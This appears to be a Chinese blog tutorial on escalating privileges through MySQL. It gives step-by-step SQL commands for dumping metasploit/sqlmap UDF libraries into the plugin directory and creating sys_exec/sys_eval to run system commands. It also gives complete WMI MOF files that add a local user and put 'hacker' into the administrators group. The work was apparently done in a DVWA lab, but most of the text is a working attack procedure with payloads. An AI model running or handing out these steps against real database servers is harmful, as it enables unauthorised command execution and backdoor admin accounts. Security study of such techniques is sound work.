Udf提权

什么是Udf提权?
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
提权顾名思义就是提示权限,但这里的提权是指自己通过特殊手段给自己提权,达到入侵目的。
那么Udf提权就是利用mysql的Udf来提升自己的权限,实际是用mysql的功能来进行shell,就像phpshell一样,这里我们可以理解为udfshel。
参考文章:https://www.cnblogs.com/sijidou/p/10522972.html

检查环境

使用Udf提权,mysql用户必须具有读取和写入权限,使用命令:select user,insert_priv,delete_priv from mysql.user where user='root';查看账户是否具有权限。

因为udf有32位和64位得,所以得确定目标数据库版本(这里是数据库版本,不是操作系统版本)是64位还是32位,使用命令:show variables like 'version%';select @@version_compile_os,@@version_compile_machine;来查看目标数据库位数,version_compile_os是系统版本(我的系统是64位的2003,数据库说是win32),version_compile_machine是数据库版本。
Windows
Linux

mysql设置

secure_file_priv状态决定mysql能不能导入和导出
secure_file_priv=null 禁止导入导出
secure_file_priv=’path’ 允许在path目录导入导出
secure_file_priv=空白 不限制导入导出
使用show variables like 'sec%';查看,可以在my.ini修改,不存在secure_file_priv新建即可。修改完成需要重启。

版本差异

mysql版本如果是在5.1以下udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
mysql版本如果是在5.1以上udf.dll文件放在mysql目录下的plugin文件夹中,这个变量可以在mysql.ini文件中找到并进行编辑。使用select @@plugin_dir查看plugin文件夹。

获得Udf文件

一共有四种Udf,Windows32位、Windows64位和Linux32位、Linux64位,metasploit的在/usr/share/metasploit-framework/data/exploits/mysql目录下

sqlmap也有,在sqlmap\data\udf\mysql\目录下,sqlmap下的4个udf文件是经过编码的,如果直接丢在mysql的plugin目录下是无法加载的,需要用sqlmap/extra/cloak/cloak.py进行解码,在sqlmap/extra/cloak/目录下使用以下命令,生成的udf文件就会出现在当前文件夹中
python .\cloak.py -d -i ..\..\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o linux_udf_64.so

上传Udf文件

注意:如果没有plugin目录会写入失败,得手动创建plugin目录
这部分是Udf提权的核心

  • load_file函数支持网络路径,如果将DLL复制到网络共享中,则可以直接加载它并写入磁盘。

  • 使用十六进制编码后写入到磁盘
    使用hex编码并保存select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';
    使用select 0x4D5A90000300000004000000FFFF0000B80000000000000040000... into dumpfile "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";写入,成功提示Query OK, 1 row affected (0.001 sec),失败查看错误信息。

  • 创建一个表并将二进制数据插入到十六进制编码流中,其中的二进制数据用update语句来连接。

1
2
3
4
5
6
create table temp(data longblob);//创建temp表
insert into temp(data) values (0x4D5A90000300000004000000FFFF0000B80000000000000040000000000000...);插入数据
update temp set data=concat(data,0x0000000000000000000000000000000000000000000000000000000000F80000);//循环合并更新,直到全部完成
select data from temp into dumpfile "C:\\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll"//写出文件

//我测试的时候直接全部插入也可以,上面是网上的方法
  • 直接在磁盘上将文件从网络共享加载到第三种方法创建的表中,使用“load data infile”语句在本地加载。像上图所示将文件转换为十六进制,并在写入磁盘时取消编辑。

  • 使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。
    select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll')) into dumpfile "/tmp/udf32_win.b64";
    使用from_base64解密写入到pugin文件夹。

    之后就可以像下面这样将整个文件传递给mysql。(网上般的,我不懂)

  • 使用上面讨论的“load data infile”语句,直接从网络共享或本地编写base64编码文件,并像下面这样dump。(这个也是网上的方法,应该可以结合文件上传)

正式提权

  • 安装sys_exec函数
    执行安装命令:create function sys_exec returns int soname ‘udf32.dll’;
    报错:Can’t open shared library ‘udf.dll’ (errno: 193 )
    万能得度娘没给我答案,然后我放了一个32位的进去就成功了。

  • 验证sys_exec函数
    执行查询命令验证:select * from mysql.func;

  • 实际使用
    我研究了半天这个函数原来返回值是int,经过测试发现成功返回0,命令执行失败返回1;还可以执行ping看延迟来判断命令有没有被执行。

更好的姿势

经过度娘学习发现udf.dll里面有一个能回显命令的函数:sys_eval (想不想php的eval,手动滑稽),
安装sys_eval函数:create function sys_eval returns string soname 'udf32.dll';
验证是否安装成功:select * from mysql.func;

测试命令:select sys_eval('net user');

使用select sys_eval('net user hacker /add');创建一个用户。

删除自定义函数

命令:drop function sys_exec;

参考文章

MySQL UDF提权执行系统命令:https://blog.csdn.net/qq_36119192/article/details/84863268#UDF%E6%8F%90%E6%9D%83
详解MySQL UDF执行命令:http://www.360doc.com/content/18/0228/22/31784658_733287732.shtml

Mof提权

什么是Mof提权?
在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次(由”And TargetInstance.Second = 5”;控制,这里输入5就是每分钟的第五秒执行。一会mof文件我会分享的。),那么把cmd命令添加到nullevt.mof中,cmd命令就会自动执行了。
Mof只能在Windows平台使用,但不止数据库可以使用,理论上只要对c:/windows/system32/wbem/mof/有读取权限都可以使用。

环境要求

secure_file_priv=空白 不限制导入导出
数据库用户对c:/windows/system32/wbem/mof/有读取权限

mof文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new (\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

上传文件

先修改好保存到本地,以.mof命名即可,更改net.exe user admin admin /add来修改创建的用户。
然后使用文件上传把user.mof文件上传,使用浏览器访问http://172.19.4.7/DVWA/hackable/uploads/user.mof 如果访问成功即上传成功。

MySQL重写

使用MySQL把mof文件重新写到C:/windows/system32/wbem/mof/目录下,也可以说是移动。

1
select load_file("C:/phpStudy/PHPTutorial/WWW/DVWA/hackable/uploads/user.mof") into dumpfile "C:/phpStudy/PHPTutorial/MySQL/lib/plugin/nullevt.mof";

我试了2003和2008都是ERROR 1 (HY000): Can’t create/write to file ‘C:\WINDOWS\system32\wbem\mof\nullevt.mof’ (Errcode: 2),我手动放一个mof到mof目录下试试效果,以后找到问题再来补充。
有的时候会失败,执行完后nullevt.mof文件会被删除,执行命令后成功创建用户。

提权mof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};